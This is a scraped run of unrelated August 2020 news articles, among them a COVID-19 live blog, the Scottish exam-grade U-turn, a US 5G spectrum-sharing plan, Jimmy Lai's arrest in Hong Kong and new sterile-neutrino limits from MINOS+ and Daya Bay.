to more than 30 on Tuesday, as an uptick in church-traced infections shows no signs of a letup, according to Yonhap news agency. The country identified an additional 34 virus cases, including 23 domestic infections, raising the total caseload to 14,660, according to the Korea Centers for Disease Control and Prevention (KCDC). There were no new reported fatalities for the second consecutive day, keeping the death toll at 305. Amid continuing concerns about the spread of the coronavirus, South Korean students gather in capital Seoul on Monday to protest against the US-South Korea alliance and joint military drills [Kim Chul-soo/EPA] 01:30 GMT Drug company eyes 500-600 million doses of vaccine by 2021 The US-listed drug company, Novavax Inc, said its manufacturing capacity is sufficient to meet the US demand for COVID-19 vaccines in 2021, according to reports. Executives of the company said the demand for vaccines could be as high as 500 million to 600 million doses. Novavax expects to be able to produce more than two billion doses of its vaccine annually overall, the executives told reporters. 01:10 GMT UK laying off 6,000 COVID-19 contact tracers The British government is laying off 6,000 coronavirus contact tracers and deploying the rest to work in local teams, in an acknowledgement that the centralised track-and-trace system is not working well enough, AP news agency reported. The UK has been criticised for failing to keep track of infected peoples contacts early in the pandemic, a factor that contributed to the countrys high death toll of more than 46,500, the most in Europe. The national test-and-trace programme said it was officially adopting that localised approach. Some 6,000 contact tracers will be laid off this month, and the remaining 12,000 will work with local public health authorities around the country. 00:47 GMT Mexico reports more than 5,500 new cases, 705 deaths At least 5,558 new coronavirus cases and 705 additional deaths have been reported in Mexico, bringing the total in the country to 485,836 cases and 53,003 deaths, according to Reuters news agency. The countrys health ministry said the real number of infected people is likely significantly higher than the confirmed cases. 00:20 GMT Brazil registers 22,048 new cases and 703 more deaths Brazil has registered 22,048 new cases of coronavirus and 703 deaths, Reuters news agency reported quoting the health ministry. Overall, Brazil now has 3,057,470 confirmed cases, while the death toll has risen to 101,752. 00:05 GMT Trump weighs blocking returning US citizens if infection feared The Trump administration is considering a measure to block US citizens and permanent residents from returning home if they are suspected of being infected with the new coronavirus, according to the New York Times and Reuters. The draft regulation would give the government authorisation to block individuals who could reasonably be believed to have contracted COVID-19 or other diseases. Trump has instituted a series of sweeping immigration restrictions since the start of the coronavirus pandemic, suspending some legal immigration and allowing US border authorities to rapidly deport migrants caught at the border without standard legal processes. 00:01 GMT Australia reports 331 new cases, 19 deaths Australias second-most populous state of Victoria on Tuesday reported 19 deaths from the coronavirus in the last 24 hours and 331 new cases, according to Reuters news agency. The state reported 322 infections and 19 deaths, its biggest one-day rise in casualties, a day earlier. Victoria last week began a six-week total lockdown, closing down shops and businesses to contain a second wave of infections requiring its five million residents to stay home. ________________________________________________________________ Hello and welcome to Al Jazeeras continuing coverage of the coronavirus pandemic. I am Ted Regencia in Kuala Lumpur. For all the key developments from yesterday, August 10, go here. August 10, 2020 News By C. Todd Lopez , DOD News Defense.gov AMBIT Gambit Pays Off, Advances U.S. 5G Efforts Thanks to efforts by the White House and the Defense Department, a newly devised spectrum-sharing plan will make 100 megahertz of mid-band spectrum currently used by the military available for sharing with the private sector for use in development of 5G technologies. Earlier this year, the White House and DOD formed "America's Mid-Band Initiative Team," or AMBIT, with the goal of making a contiguous, 100 MHz segment of mid-band spectrum available for use in 5G development by the end of the summer. Today, after just 15 weeks of work, that effort has been realized. The AMBIT has identified a segment of spectrum from 3450-3550 MHz as available for sharing. Coupled with already available spectrum from 3550-3980 MHz, this creates a contiguous 530 MHz band for use by the U.S. technology sector. 5G networks require a mix of high-, mid- and low-band spectrum. The low band carries signals over long distances, whereas the high band travels shorter distances but is good for data intensive tasks. Mid-band spectrum is attractive for 5G because it can deliver high capacity and reliability over larger geographic areas. The Defense Department uses the segment of spectrum from 3450-3550 MHz for such things as radar operations that support missile defense, countermortar capabilities, weapons control, electronic warfare, air defense and air traffic control. The spectrum-sharing solution proposed by AMBIT will ensure the spectrum band continues to be available to the department, while it also becomes available for use by the private sector in the lower 48 states. As part of the U.S. military's participation, the department established a Mid-Band Spectrum Working Group that included experts in fields such as ship, ground, electronic warfare, test and training capabilities. All four services, as well as representatives from the Office of the Secretary of Defense, were represented. The AMBIT also leveraged technical work performed by the National Telecommunications and Information Administration to develop a spectrum-sharing solution that would allow 5G development to progress in the private sector, while at the same time, allow the U.S. military to continue to use that spectrum to meet national security requirements. After additional work by the services, the Federal Communications Commission will auction off use of the newly available spectrum to the private sector to support 5G network deployments. Advancement of 5G technology and networks, and having the United States be a leader in that development, isn't just of interest to the private sector. DOD also has an interest in 5G development. 5G networks are one the department's 11 modernization efforts, and 5G is key to departmental efforts to increase the lethality of the U.S. military, as spelled out in the National Defense Strategy. Already, the department is or will be testing and evaluating 5G technologies at a dozen U.S. military installations around the country. At Joint Base Lewis-McChord, Washington, and its associated Yakima Training Center, for example, the department has 5G evaluations underway for how to enhance augmented reality and virtual reality training. At Marine Corps Logistics Base Albany, Georgia, evaluations are underway for using 5G technology to enhance the warehousing of vehicles such as the Humvee. Defense Secretary Dr. Mark T. Esper and White House Chief of Staff Mark Meadows co-chaired the White House steering group that oversaw the AMBIT. They were supported in their efforts by Larry Kudlow, director of the National Economic Council; DOD Chief Information Officer Dana Deasy; and Air Force Gen. John E. Hyten, vice chairman of the Joint Chiefs of Staff. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Tens of thousands of Scottish pupils will get exam results based on their predicted grades after Nicola Sturgeon's Scottish government completed an embarrassing U-turn this afternoon. Her SNP administration bowed to political pressure to alter course over a 'standardisation' system designed to tackle the fact that no exams have been sat due to coronavirus. The process was branded 'unfair' by parents and teachers after pass rates for pupils in the most deprived areas were downgraded by 15.2 per cent in comparison with 6.9 per cent for pupils from the most affluent backgrounds. Scottish Education Minister John Swinney told MSPs in Holyrood this afternoon that more than 124,000 exam results downgraded by a controversial moderation process will revert to the grades estimated by pupils' teachers, amid calls for the SNP government to face an inquiry into the fiasco. The U-turn will heap more pressure on Boris Johnson, with a standardisation system planned for the A-Level results which are due to be handed out on Thursday. He is already under pressure to abandon the scheme and revert to predicted grades - leading to fears of widespread grade inflation. As a result of the changes announced by Mr Swinney this afternoon, the new Higher pass rate for 2020 is 89.2 per cent, 14.4 per cent higher than the previous year. The National 5 pass rate has also increased by 10.7 per cent to 88.9 per cent, as well as the Advanced Higher pass rate rising to 93.1 per cent - a rise of 13.7 per cent. Addressing MSPs this afternoon, Mr Swinney said: 'We set out to ensure that the system was fair. We set out to ensure it was credible. But we did not get it right for all young people. 'Before I go any further, I want to apologise for that. 'In speaking directly to the young people affected by the downgrading of awards - the 75,000 pupils whose teacher estimates were higher than their final award - I want to say this: I am sorry.' Scottish Education Minister John Swinney told MSPs in Holyrood this afternoon that more than 124,000 exam results downgraded by a controversial moderation process will revert to the grades estimated by pupils' teachers, amid calls for the SNP government to face an inquiry into the fiasco Ms Sturgeon admitted the Scottish government 'did not get it right', amid complaints that children have been punished to fit in with a model of how the overall results should look Thousands of English 18-year-olds are due to get their results on Thursday despite not sitting exams due to coronavirus , using a 'standardisation' system Former Ofsted chief Michael Wilshaw told Sky News: 'I am concerned and I suspect a lot of other people will be very concerned that we don't see a replication of what happened in Scotland' How are exams being graded and what does it mean for uni places? What could go wrong with results? TO stop this year's results being seen as worthless, both England and Scotland tried to shift teachers' estimated grades down, so they matched the trends of previous years. In Scotland this resulted in the 'attainment gap' between the richest and poorest being replicated, so that the 'most deprived' pupils had their marks reduced by 15.2 per cent, but the richest had reductions of only 6.9 per cent. This affected the most talented pupils in poorly performing schools the worst, meaning those expecting top grades were dragged down because of their school's record. The outrage at the situation has led to a U-turn to be announced today. How will appeals in England work? PUPILS will not be able to challenge the grades their teachers decided. Appeals must be made by schools - not pupils. They are likely to be successful if a school's past performance is unlikely to be a useful measure of predictions. Most importantly, appeals will now be allowed if 'unusually high or low ability pupils [have] been affected because they fall outside the pattern of results'. Schools will need to submit evidence, and there are worries over how long the process could take. What if appeals fail? FOR pupils who are told there is not enough evidence to appeal, or have it rejected, they will have only the option of resitting in the autumn. They will be able to use the higher of the two grades. In cases where pupils suspect racism or bias behind teachers' decision-making, their only option is raise a complaint, rather than use the appeals process. What about pupils hoping to go to university this year? THE Education Secretary has said universities should 'do all they can to ensure pupils can progress to higher education'. Those pupils who miss out on an offer need to be ready to contact their university of choice and explain why they feel they should be admitted despite their marks, as they wait for appeals to be dealt with. If pupils need to do resits, it may be possible to start their university courses in the new year, after sitting exams in the autumn and getting results before Christmas. Advertisement Geoff Barton, general secretary of the ASCL union, said: 'There are good reasons for standardisation because it means this year's grades are kept roughly in line with other years so that there is fairness to students over time. 'But there is clearly a tension when this leads to a situation where centre-assessed grades which were submitted in good faith by schools and colleges are then pulled down because of a statistical model, particularly if this detrimentally impacts on disadvantaged students.' He added: 'The decision in Scotland will put pressure on authorities in the other home nations to follow suit, and we will have to see how this plays out.' Former Ofsted chief Michael Wilshaw earlier told Sky News: 'I am concerned and I suspect a lot of other people will be very concerned that we don't see a replication of what happened in Scotland, which has shown a large number of downgrades and a disproportionate number of downgrades of youngsters from poor backgrounds in some of the most disadvantaged schools. 'That must not happen here, and I hope Ofqual, the regulators of exam systems in England, are aware of the dangers of that, and are going to be taking remedial steps if that does happen. 'What has happened in Scotland and may happen here in England and Wales is that there has been an imbalance in the judgements made between the schools performance and its history of examination performance, and taking into account individual student performance. 'If there is an imbalance in that and they get that balance wrong then things will go badly wrong.' The methodology used by the Scottish Qualifications Authority (SQA) saw grades estimated by teachers downgraded based on criteria included the historic performance of the school. This led to criticism that it unfairly penalised high-achieving students from schools with historically poor results. Mr Swinney's Tory shadow Jamie Greene had earlier said: 'It's clear that the only way forward is for a full parliamentary inquiry into the exam results scandal to take place. 'This has been one of the greatest failures of this SNP government and people deserve answers.' Ucas chief executive Clare Marchant weighed in this afternoon, saying she is expecting universities to be 'super flexible' with near-miss candidates who have dropped 'one or two grades' in England. Sir Michael said there would always be pupils in badly performing schools who 'defy the odds' and perform well, but said Ofqual should ensure they 'drill down' into the results of each and every school and 'really look at it in depth' before changing marks. 'Youngsters and their families should have the right to appeal parents should have that right. And that right does not exist at the moment, and I hope the government and DfE changes tack on that one,' he said. Sir Michael said: 'I know it will be expensive and it could be a long and tortuous process, but we are talking about children's lives and their futures here.' He added: 'We have put so much money into the furloughing scheme, we should spend a bit more on getting this right.' Schools were asked to submit the grades they thought students would have received if they had sat the exams. Exam boards have moderated these grades to ensure this year's results are not significantly higher than previous years and the value of students' grades are not undermined. Last month, Ofqual said this summer's A-level results would have been 12 percentage points better than last year if teacher-assessment grades had not gone through standardisation. Liberal Democrat education spokeswoman Layla Moran said: 'Ministers must learn the lessons from the chaos over results in Scotland. We do not want to see more young people unfairly penalised by Covid-19 grade awards systems. 'To prevent this, we need the government to make clear that individual pupils will be able to appeal their grade awards directly with Ofqual without charge, and to sit these examinations at no cost, when it is safe to do so, should they wish to.' Unis urged to be 'super-flexible' on downgrades The head of Ucas said she expects expecting universities to be 'super flexible' with near-miss candidates who have dropped 'one or two grades' in England. Chief executive Clare Marchantsaid she expected higher education institutions to be 'more flexible than ever before,' if standardisation takes place. But she also warned that students should be wary about taking exams in the autumn if they are unhappy with their grades as there will be a 'narrower' choice of university courses. 'I don't think we should kid students that there's as much choice in January as there would be for an autumn start date at a university. There's a much narrower choice,' Ms Marchant told a Higher Education Policy Institute (Hepi) webinar. 'If you've got a result and you can move on, move on,' she said. On the autumn exams, Ms Marchant added: 'It will be right for some students but they've got to be really clear that there's not an option for them to progress to HE without doing that. 'I do think for the vast majority either they will get what they want, or they'll exceed it, or they may have a near-miss in which case the conversation with the university is paramount.' Advertisement Ms Marchant warned that students should be wary about taking exams in the autumn if they are unhappy with their A-level grades as there will be a 'narrower' choice of university courses. She advised students to 'move on' with the grades they receive this week if they still allow them to progress into higher education. She said only a limited number of universities will offer courses that start in January for students sitting exams in the autumn. 'I don't think we should kid students that there's as much choice in January as there would be for an autumn start date at a university. There's a much narrower choice,' Ms Marchant said. Speaking to a Higher Education Policy Institute (Hepi) webinar, the Ucas boss urged caution over rushing to sit an exam, rather than accepting a university place or appealing results. 'If you've got a result and you can move on, move on,' she said. On the autumn exams, Ms Marchant added: 'It will be right for some students but they've got to be really clear that there's not an option for them to progress to HE without doing that. 'I do think for the vast majority either they will get what they want, or they'll exceed it, or they may have a near-miss in which case the conversation with the university is paramount.' The rethink has raised concerns that England could see a similar furore over GCSE and A-Level results. Boris Johnson said yesterday he understood the 'anxiety' caused by replacing exams with assessments, after they were effectively wiped out by coronavirus. But the PM's official spokesman said they believed the arrangements would go ahead and be 'fair for all students'. Ms Sturgeon came under attack on all sides today after presiding over an exam results shambles that sparked an embarrassing U-turn on live television. The First Minister apologised for 'standardisation' blunders that saw grades for 125,000 Scottish pupils marked down. Scottish Education Minister John Swinney (left) will unveil how he intends to fix the problems this afternoon. His Tory shadow Jamie Greene (right) said: 'It's clear that the only way forward is for a full parliamentary inquiry into the exam results scandal to take place' The Prime Minister visits Hereford County Hospital today as he announces 300m will go towards hospitals to Covid-proof their facilities Members of staff speak with the Prime Minister during his visit to Hereford County Hospital today How will grades be calculated with no exams sat this summer? After this summer's exams were cancelled, teachers were told to submit the grades they thought each student would have received if they had sat the papers. The predictions were sent to the exam boards alongside a rank order of which students they believed would do best within each grade for each subject. Exam boards have moderated these school-assessed grades to ensure this year's results are not significantly higher than previous years and the value of students' grades are not undermined. As part of the standardisation process, exam boards have also taken into account historical performance data to determine the proportion of students who achieved each grade in previous years. Individual grades may have been adjusted upwards or downwards after moderation. This means that the final grade awarded to a student could be different from the one their school or college submitted. Advertisement The First Minister admitted the Scottish government 'did not get it right', amid complaints that individual children have been punished to fit in with a model of how the overall results should look. Both Labour and the Tories called for the SNP minister's head today, with the U-turn doing little to quell the widespread anger. While the SQA developed the methodology, the First Minister 'absolved' the qualifications authority of responsibility because it was done at the behest of Scottish ministers. Speaking on a visit to a school in London about the exams in England, Mr Johnson said: 'Clearly, because of what has happened this year, there is some anxiety about what grades pupils are going to get, and everybody understands the system that the teachers are setting the grades, then there's a standardisation system.' The Prime Minister's spokesman said: 'There is a standardisation process in place but if students are unhappy with their grade then they are able to appeal or they are able to take examinations in the autumn. 'We would expect that the vast majority of students will receive a calculated grade this summer that enables them to move on to the next stage of their education or training.' Scottish Labour is set to mount a no-confidence vote against Mr Swinney in Holyrood and the Conservatives saying they will support it. Labour's Holyrood education spokesman Iain Gray told the Guardian: 'It is frankly hypocritical for the first minister to apologise today after refusing to accept for over a week that an injustice had occurred. 'This apology is more concerned with protecting John Swinney's job than facing up to the failures of her government. 'A belated and forced apology is not good enough. We need an immediate return to the grades recommended by teachers for those who saw their grades reduced. It's time pupils and teachers got justice and Swinney got his jotters.' Ouk Chhayavy, president of the Cambodian Independent Teachers Association (CITA), after being seriously injured in a traffic accident she believes was an attack targeting her on August 10, 2020. Cambodian teachers union leader Ouk Chhayavy was knocked off her motorbike outside the capital Phnom Penh Monday in what she says was an attack made to look like a traffic accident aimed at scaring her off her campaign to free jailed unionist Rong Chhun. Ouk Chhayavy, president of the Cambodian Independence Teacher Association (CITA) was riding a motorbike in Kandal province with her husband when two men she did not recognize pulled up on a motorbike, grabbed the handlebars and pushed the couple to the ground, she told RFA. Ouk Chhayavy had joined civil society leaders in protesting for the release of her CITA predecessor, Rong Chhun, who was arrested Aug. 1 on charges of incitement to commit a felony or cause social unrest for criticism of the governments handling of the countrys border dispute with Vietnam. They pushed our bike to the ground, then they sped away. This is political intimidation because I wasnt wearing anything valuable on my body that would attract thieves, she said. Ouk Chhayavy said she was treated at a health care clinic and was resting at a relatives home in Kandal after briefly being knocked unconscious and left bleeding from her hands, arms and face. I was severely hurt on my left palm and required stitches, Ouk Chhayavy told RFAs Khmer Service. I also have swelling on my mouth and face, where I was hit hard by the handlebars. Ouk Chhayavy has led several protests in front of the Phnom Penh courthouse calling for the arrest of Rong Chhun, Cambodian Confederation of Unions president. She has been followed by strangers wherever she goes since he was detained July 31 and formally arrested a day later. Despite all of this, I appeal to all Cambodians to stand up. Dont be afraid even if they want to kill me, I am still strong and demand the release of Mr. Rong Chhun and other democrats from prison, she said. Ouk Chhayavy said she would not file a complaint because she does not trust the Cambodian justice system, but plans to notify the global teacher union federation Education International (EI), with which CITA is affiliated. Am Sam Ath of local rights group LICADHO told RFA that his organization would investigate the alleged attack. RFA was not able to reach Cambodian authorities for comment on the incident as of Monday evening. Reported by RFAs Khmer Service. Translated by Sok Ry Sum. Written in English by Eugene Whong. A stark photo of a collapsed bridge has been shared as an urgent warning to drivers to never attempt to tackle floodwaters. New South Wales' south coast was hammered with wild weather and flash floods over the weekend sparked by a 300mm downpour of rain. The Neringla Road crossing in Braidwood near Canberra was drenched with heavy rainfall on Sunday, causing huge pieces to fall into the Araluen Creek below. The bridge provided the only way in and out for locals, leaving many residents trapped. The Neringla Road crossing in Braidwood near Canberra (pictured) was battered with a heavy downpour on Sunday, causing huge pieces to fall into the Araluen Creek below Council mayor Tim Overall said the 115mm of rain that hit Braidwood was causing headaches for residents. 'We've got staff heading out (to the bridge) on Monday to do work and restore access temporarily until we can do more substantial work,' Mr Overall said, The Canberra Times reported. 'It's an ever-changing situation. There's a number of areas where the water is too high so we're advising people not to cross flooded crossings because you just don't know what's underneath that water.' It's expected to be several days before residents can access the bridge, with those living in areas up to 12km south unable to leave. 'This is the exact reason why you should never drive through flood waters - no matter what depth,' the SES said. 'Please remember - if it's flooded - forget it. Never drive, ride, walk or play in flood waters.' The stark warning comes after a weekend of extreme weather conditions with the SES responding to 1,600 calls on Friday alone - including 40 flood water rescues. Cars were caught in rising waters in Canberra on Sunday (pictured). The SES told residents the surging flood waters should not be considered a 'tourist attraction' Ovals and drains were also submerged in water from the extreme weather conditions in Berry on Saturday (pictured) Cars were struggling to make it through flood waters on Sunday following torrential rain (pictured in the NSW south coast) Three evacuation orders were issued late on Sunday night for the south coast covering nearly a dozen large towns, including Moruya, Nowra and Sussex Inlet. On Sunday afternoon the body of a missing kayaker was pulled from Murrumbidgee River, south of Canberra, highlighting the dangers of getting caught out during the deluge. The man was reported missing about 2pm after he was separated from his kayaking group amid rising river levels, torrential rain and increasingly difficult conditions. His kayak reportedly got caught under a bridge. Other roads in the south coast were left submerged in water and damaged with fallen trees and rubble as the weather subsided. WEXFORD COUNTY The Michigan State Police Cadillac Post recently welcomed its newest member to the team. A female Labrador retriever named LuLu recently graduated from canine school and is ready to serve, according to a press release from the MSP. LuLu received specialized training and is a single purpose dog. She is also very friendly according to her handler, Trooper Matt Unterbrink. She is from Hungary and received six weeks of specialized training tracking explosives, said Unterbrink. LuLu can move through crowds and track explosives. If she detects explosives, she will follow the odor to the source. Even if the person carrying it is on the move. She is a single purpose dog and the only one north of Lansing with this ability." "Her calm demeanor and friendly personality make her the perfect dog to work crowded venues," he added. The MSP currently has five dogs that have this specialized training, according to the news release. German Shepherds were used as explosive dogs, but they were brought in before an event to clear an area. "The friendly demeanor of the Labrador retriever makes them the perfect dog to use while an event is taking place and they can move about the crowd with ease," according to the MSP. The nomination and subsequent confirmation of Prof. Naana Jane Opoku Agyemang was hailed by many gender activists as a positive omen for our country. While some saw it as a political strategy just to win votes, others also felt it has demonstrated and showcased Ghana as a country that has chalked a lot of success in gender mainstreaming. Indeed, both local and international civil societies organisations released press statements to applaud the opposition National Democratic Congress (NDC) for her nomination and subsequent confirmation. Those who happy about that decision to nominate her as the vice presidential candidate of the NDC; were of the view that Prof. Naana Jane Opoku Agyemang would champion the course of women when the NDC wins the December 7 election. However, the outspoken NPP Member of Parliament for Assin Central, Kennedy Ohene Agyapong has rubbished this position. He argues that "When Prophet Nigel Gaisie raped Mzbel, it was Prof. Naana Jane Opoku Agyemang who went to plead with Mzbel not to take action against the Prophet." According to Mr. Agyapong, is that how someone who would fight for women's right should behave. He continued that, "for nothing at all, if a lady has been raped it ought to have been the interest of Prof. Naana Jane to rather assist Mzbel to take action against prophet Nigel and not to plead for the prophet. Those who think she is going to champion the course of women should know that she wouldn't and this is her record." The Assin Central Member of Parliament was speaking to Kwaku Annan of Net2tv Monday, 10th August, 2020. Explaining how he came by this information, Mr. Agyapong said the matter was already in the public domain. "Initially Mzbel agreed to speak to Net2 TV but was prevailed upon by the NDC to stop. When I called her, she was not picking my calls but now she has spoken". He ended by saying that, the issues have overwhelmed Mzbel to the extent that she is now spilling the beans in the open. According to the lawmaker, Prophet Nigel Gaisie has slept with a lot of women including celebrities and married women. Days after his intelligence director issued yet another warning about Russian election interference, President Donald Trump tore into Obama-era security officials in an effort to explain his 'reluctance' to embrace them. The president renewed to his attacks on the officials, as well as his own former National Security advisor John Bolton, after being questioned repeatedly since Friday when Director of National Intelligence John Ratcliffe warned of an effort by Russia to 'denigrate' political rival Democrat Joe Biden. Trump has defended his Russia policy, claiming he is tougher than anyone on Russia, even as he again said he planned to invite President Vladimir Putin to the next G7 meeting. He was kicked out during the Obama administration. President Trump ripped former national security advisor John Bolton, as well as a group of Obama era top intel officials, and denied he trusted Vladimir Putin more than them 'John Bolton, one of the dumbest people I've met in government and sadly, I've met plenty, states often that I respected, and even trusted, Vladimir Putin of Russia more than those in our Intelligence Agencies,' Trump wrote Tuesday morning, referencing claims in Bolton's bombshell book, The Room Where It Happened: A White House Memoir, released earlier this summer. 'While of course that is not true, if the first people you met from .. so called American Intelligence were Dirty Cops who have now proven to be sleazebags at the highest level like James Comey, proven liar James Clapper, & perhaps the lowest of them all, Wacko John Brennan who headed the CIA, you could perhaps understand my reluctance to embrace!' Trump added. The tweets included both a denial of Bolton's claim, and an assertion that meeting the top U.S. officials would explain his 'reluctance' to embrace them over Putin, who backed legislation allowing himslef to run for a fifth term and who oversaw Russian annexation of Crimea, as well as what U.S. intelligence said was Kremlin-backed interference in the 2016 U.S. presidential election. The book includes Bolton's scathing assessments of his former boss, but it has been out for months. Bolton recently gave an interview with Business Insider where he blasted Trump's conduct in Helsinki, Finland, where he publicly accepted Putin's denial of election interference. U.S. intelligence assesses that Russia is taking measures to 'denigrate' Democrat Joe Biden 'We assess that Russia is using a range of measures to primarily denigrate former vice president Biden and what it sees as an anti-Russia 'establishment,' said William Evanina, the government's chief counterintelligence officer Said Bolton: 'I was sitting in the audience with [then] Chief of Staff John Kelly, and we were both frozen to our chairs,' said. 'We couldn't believe what we had heard. And we spent a good part of the flight on Air Force One back to Washington trying to explain to the president why he was getting such a negative reaction from the press back in Washington. The president didn't seem to understand that people might be upset that he equated what Putin said with what our intelligence community said.' Trump's online attack came after he attacked former President Barack Obama, Biden, and his intelligence team from the White House podium Monday, at a news conference overshadowed by a shooting involving the Secret Service just outside the White House. Trump trashed top Obama-era intelligence officials John Brennan and James Clapper 'Theyve been caught red handed. Its probably treason. Its a horrible thing they did,' Trump said. 'They used the intelligence agencies of our country to spy on my campaign and they have been caught,' Trump said. Trump also singled out former FBI Director James Comey, former Director of National Intelligence James Clapper, and former CIA Director John Brennan. He called it 'a setup like weve never seen' and the 'political crime of the century.' On Friday, Bill Evanina, director of the National Counterintelligence Security Center, said in a statement: 'We assess that Russia is using a range of measures to primarily denigrate former vice president Biden and what it sees as an anti-Russia 'establishment.' he said. But the statement also called out China and Iran, saying China preferred Biden in the election. Trump often points to China when asked about election interference. The MINOS+ and Daya Bay neutrino experiments have combined results to produce most stringent test yet for the existence of sterile neutrinos. In the MINOS+ experiment, Fermilab accelerators sent a beam of muon neutrinos through a detector located on the Fermilab site. The beam traveled 450 miles underground to a far detector, pictured here, in northern Minnesota. Credit: Reidar Hahn, Fermilab An international group of more than 260 scientists have produced one of the most stringent tests for the existence of sterile neutrinos to date. The scientists from two major international experimental groups, MINOS+ at the Department of Energy's Fermilab and Daya Bay in China, are reporting results in Physical Review Letters ruling out oscillations into one sterile neutrino as the primary explanation for unexpected observations from recent experiments. MINOS+ studies the disappearance of muon neutrinos produced by a Fermilab accelerator and propagating to an underground detector in northern Minnesota 735 kilometers away. Daya Bay uses eight identically designed detectors to precisely measure how electron neutrinos emitted by six nuclear reactors in China "disappear" as they morph into other types. Neutrinos are elementary particles that, like electrons, cannot be broken down into smaller components. They are unlike any other particle known to exist in that they are able to penetrate extremely large amounts of matter without stopping. If a neutrino is shot from the surface of Earth toward its center, there is a very large probability that it will emerge intact on the other side. There are three known types of neutrinos: electron, muon and tau. About two decades ago, scientists found that they can morph from one type into another through a phenomenon called "neutrino oscillation," a discovery that was awarded the 2015 Nobel Prize in physics. For instance, a neutrino created as an electron type traveling through space can later be identified as a muon type or tau type. Even though the vast majority of accumulated data to date can be explained by three known neutrinos, a few experiments have reported anomalous observations suggesting the existence of additional types. Among these are the LSND experiment at the Los Alamos National Laboratory and the MiniBooNE experiment at Fermilab. Both exposed their detectors to a beam of muon neutrinos and reported an excess of electron neutrino candidate events beyond what would be expected from oscillations involving only the three known types of neutrino, but possibly reconcilable if a new type of neutrinoa sterile neutrinowas involved. Sterile neutrinos would not be directly detectable, but their oscillation with the three known neutrinos would provide a unique pathway to establish their existence. However, the new results from Daya Bay and MINOS+ question this possibility as an explanation of LSND and MiniBooNE results. The Daya Bay neutrino detector walls are lined with photomultiplier tubes. The tubes are designed to amplify and record the faint flashes of light that signify an antineutrino interaction. Credit: Roy Kaltschmidt, Lawrence Berkeley National Laboratory "The stakes are high; if this tantalizing interpretation of the anomalous results was confirmed, a revolution in physics would ensue. Sterile neutrinos would become the first particles to be found outside the Standard Model, our current best theory of elementary particles and their interactions. They could also be a candidate for dark matter and might have important consequences in cosmology," said Daya Bay scientist Pedro Ochoa-Ricoux, associate professor of physics and astronomy at UC Irvine. "This close collaboration of MINOS+ and Daya Bay scientists enabled the combination of two complementary world-leading constraints on muon neutrinos and electron antineutrinos disappearing into sterile neutrinos," said Alexandre Sousa, associate professor of physics at the University of Cincinnati and one of the MINOS+ scientists who worked on the analysis. The disappearance of both particles needs to occur if electron (anti)neutrinos are to appear in a muon (anti)neutrino source via sterile oscillations with a single sterile neutrino. "So the combined result is a very powerful probe of the sterile neutrino hints we have to date." The neutrino disappearance measurements by MINOS+ and Daya Bay are now so precise that they essentially rule out explaining the combined anomalous observations from LSND, MiniBooNE and other experiments solely through sterile neutrino oscillations, according to Ochoa-Ricoux. "We would all have been absolutely thrilled to find evidence for sterile neutrinos, but the data we have collected so far do not support any kind of oscillation with these exotic particles," he said. The combined analysis reported by Daya Bay and MINOS+ not only ruled out the specific kind of sterile neutrino oscillation that would explain the anomalous results but also looked for other sterile neutrino signatures with never-before-achieved sensitivity, yielding some of the most stringent limits on the existence of these elusive particles to date. "The two experiments use multiple detectors with well-understood uncertainties and have collected an unprecedentedly large number of events. Requiring consistency between the data sets of the two experiments provides a very rigorous test of sterile neutrino existence," said MINOS+ spokespersons, Jenny Thomas, professor at University College London, and Karol Lang professor at the University of Texas at Austin. "This joint effort very effectively tackles a fundamental problem in physics," said Daya Bay spokespersons Kam-Biu Luk of Lawrence Berkeley National Laboratory and UC Berkeley and Jun Cao of the Institute of High Energy Physics in Beijing. "While there is still room for a sterile neutrino to be lurking in the shadows, we have significantly shrunk the available hiding space." Explore further They are there and they are gone: ICARUS chases a fourth neutrino More information: P. Adamson et al. Improved Constraints on Sterile Neutrino Mixing from Disappearance Searches in the MINOS, MINOS+ , Daya Bay, and Bugey-3 Experiments, Physical Review Letters (2020). Journal information: Physical Review Letters P. Adamson et al. Improved Constraints on Sterile Neutrino Mixing from Disappearance Searches in the MINOS, MINOS+ , Daya Bay, and Bugey-3 Experiments,(2020). DOI: 10.1103/PhysRevLett.125.071801 It is the first time the SAR government has arrested members of the press under the national security law and it came just days after 11 Hong Kong and mainland officials were sanctioned by the US. by Mary Ma The dramatic scenes of media tycoon Jimmy Lai being arrested and the huge swarm of police marching up the stairs of his Apple Daily fortress in Tseung Kwan O are shocking. The morning drama not only affected the confidence of Hong Kong's media and businesses but also rocked the outside world, stoking fears that authorities in Hong Kong and Beijing are strangling press freedom. It came just over a month after Beijing enacted the controversial national security law for Hong Kong. It has yet to be shown whether Lai's high-profile arrest means the security law is being enacted retrospectively. Officers of the newly set-up national security department of the police force said the tycoon was arrested for collusion with a foreign country, uttering seditious words and conspiracy to defraud. Lai's two sons, Timothy and Ian, together with four of his senior executives were also held. The scene - with more than 200 police officers raiding a newsroom, handcuffing the founder of a leading newspaper and making him do a perp walk - was stunningly unprecedented. It is the first time the SAR government has arrested members of the press under the national security law and it came just days after 11 Hong Kong and mainland officials were sanctioned by the US. Hong Kong has been a pawn in the increasingly fractious Sino-US relations. As Financial Secretary Paul Chan Mo-po said on Sunday, Hong Kong has become an outpost in the power game between the superpowers. Without doubt, the US will play the press-freedom card even harder following Lai's arrest. That's despite senior police superintendent Steve Li Kwai-wah, who led the raid, saying Apple Daily's editorial department and news materials were not under the scope of the search. Whatever card the US plays - be it press freedom or human rights - Hongkongers will suffer. But there is nothing to fear as long as our authorities play the law-and-order card correctly. We must not only be seen to be right, but we must also show the world that the authorities are acting on the new national security law by charging Lai and his accomplices with whatever charges they were arrested for. Their alleged offenses must be spelled out clearly and as quickly as possible. Under the extremes of the national security law, Jimmy Lai could even be tried in the mainland and, if convicted, face life in prison. With evidence to be laid out in court, it will then be in the hands of a judge - and then for the eyes of the world to judge. As Hong Kong and the world eagerly awaited for more facts to unfold, traders were baffled by the shares of Next Digital - the parent company of Lai's Apple Daily - which skyrocketed wildly. They soared as much as 344 percent in afternoon trading after falling 17 percent in the morning session to HK$0.075 on news of Lai's arrest. With the heavy turnover, it looks to be more than buying the dip story in the market. It is possible that some big players are looking to build a major position in Apple Daily shares during such troubling times. Business Secretary Alok Sharma and the City referee the Takeover Panel need to keep an eagle eye on Softbank's efforts to offload Cambridge-based smart chip pioneer Arm Holdings to US tech outfit Nvidia. When Softbank's wheeler-dealer Japanese boss Masayoshi Son spent 24million buying Arm in July 2016 he made a series of binding commitments to the newly installed government of Theresa May designed to assuage concern that Britain's most valuable tech enterprise would be undermined, or even worse destroyed, by uncaring foreign ownership. Under a deal agreed by Downing Street to 